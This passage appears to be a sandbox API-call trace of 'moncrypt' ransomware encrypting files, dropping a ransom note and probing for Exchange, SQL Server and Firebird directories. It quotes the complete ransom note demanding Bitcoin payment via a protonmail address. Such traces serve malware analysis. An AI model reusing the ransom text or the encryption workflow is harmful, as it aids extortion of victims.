(hMem=0x440004) returned 0 [0051.666] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.666] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.666] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.666] GlobalUnlock (hMem=0x440004) returned 0 [0051.667] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.667] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.667] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.667] SetFilePointer (in: hFile=0x18c, lDistanceToMove=32433, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x7eb1 [0051.667] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.667] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.667] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.678] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.678] CloseHandle (hObject=0x18c) returned 1 [0051.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.680] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.680] CloseHandle (hObject=0x18c) returned 1 [0051.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.680] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.680] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.680] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.680] GlobalUnlock (hMem=0x440004) returned 0 [0051.680] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.680] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.680] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.680] GlobalUnlock (hMem=0x440004) returned 0 [0051.681] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.681] GlobalUnlock (hMem=0x44000c) returned 0 [0051.681] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4004e6a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4004e6a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4009a960, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.681] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.681] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.681] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.681] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.681] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.681] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.681] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.681] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.681] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.681] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.682] CloseHandle (hObject=0x18c) returned 1 [0051.682] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.682] GetLastError () returned 0x12 [0051.682] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.682] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.682] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.682] GlobalUnlock (hMem=0x44000c) returned 0 [0051.682] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.682] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.682] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.682] GlobalUnlock (hMem=0x44000c) returned 0 [0051.682] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.682] GlobalUnlock (hMem=0x440004) returned 0 [0051.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4009a960, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4009a960, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.682] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.682] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.682] GlobalLock (hMem=0x440004) returned 0x550170 [0051.682] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.682] GlobalUnlock (hMem=0x440004) returned 0 [0051.683] GlobalLock (hMem=0x440004) returned 0x550170 [0051.683] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.683] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.683] GlobalUnlock (hMem=0x440004) returned 0 [0051.683] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.683] GlobalUnlock (hMem=0x44000c) returned 0 [0051.683] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.683] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4009a960, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4009a960, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.683] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.683] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.683] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.683] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.683] GlobalUnlock (hMem=0x44000c) returned 0 [0051.683] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.683] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.683] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.683] GlobalUnlock (hMem=0x44000c) returned 0 [0051.683] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.683] GlobalUnlock (hMem=0x440004) returned 0 [0051.683] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.683] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM.moncrypt", cAlternateFileName="EVRGRE~1.MON")) returned 1 [0051.683] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.683] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.683] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.683] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.683] GlobalUnlock (hMem=0x440004) returned 0 [0051.683] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.684] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.684] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.684] GlobalUnlock (hMem=0x440004) returned 0 [0051.684] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.684] GlobalUnlock (hMem=0x44000c) returned 0 [0051.684] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.684] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0051.684] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.684] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.684] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.684] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.684] GlobalUnlock (hMem=0x44000c) returned 0 [0051.684] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.684] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.684] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.684] GlobalUnlock (hMem=0x44000c) returned 0 [0051.684] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.684] GlobalUnlock (hMem=0x440004) returned 0 [0051.684] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.684] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4004e6a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x4004e6a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4009a960, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.684] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.684] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.684] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.684] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.684] GlobalUnlock (hMem=0x440004) returned 0 [0051.684] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.684] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.684] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.685] GlobalUnlock (hMem=0x440004) returned 0 [0051.685] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.685] GlobalUnlock (hMem=0x44000c) returned 0 [0051.685] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.685] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.685] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.685] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.685] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.685] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.685] GlobalUnlock (hMem=0x44000c) returned 0 [0051.685] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.685] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.685] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.685] GlobalUnlock (hMem=0x44000c) returned 0 [0051.685] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.685] GlobalUnlock (hMem=0x440004) returned 0 [0051.685] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.685] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f76, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.685] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.685] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.685] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.685] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.685] GlobalUnlock (hMem=0x440004) returned 0 [0051.685] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.685] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.685] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.685] GlobalUnlock (hMem=0x440004) returned 0 [0051.686] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.686] GlobalUnlock (hMem=0x44000c) returned 0 [0051.686] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.686] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f76, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.686] GetLastError () returned 0x12 [0051.686] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.686] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0051.686] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.686] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.686] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.686] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.686] GlobalUnlock (hMem=0x44000c) returned 0 [0051.686] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.686] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.686] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.686] GlobalUnlock (hMem=0x44000c) returned 0 [0051.686] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.686] GlobalUnlock (hMem=0x440004) returned 0 [0051.686] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.687] GlobalLock (hMem=0x440004) returned 0x550170 [0051.687] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.687] GlobalUnlock (hMem=0x440004) returned 0 [0051.687] GlobalLock (hMem=0x440004) returned 0x550170 [0051.687] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.687] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.687] GlobalUnlock (hMem=0x440004) returned 0 [0051.687] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.687] GlobalUnlock (hMem=0x44000c) returned 0 [0051.687] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.687] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN") returned 1 [0051.687] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.687] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.687] GlobalUnlock (hMem=0x44000c) returned 0 [0051.687] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.687] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.687] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.687] GlobalUnlock (hMem=0x44000c) returned 0 [0051.687] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.687] GlobalUnlock (hMem=0x440004) returned 0 [0051.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夒U壦U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.688] GetLastError () returned 0x3 [0051.688] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.688] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.688] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0051.688] GetLastError () returned 0x2 [0051.688] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\") returned 0x41 [0051.688] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.689] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, 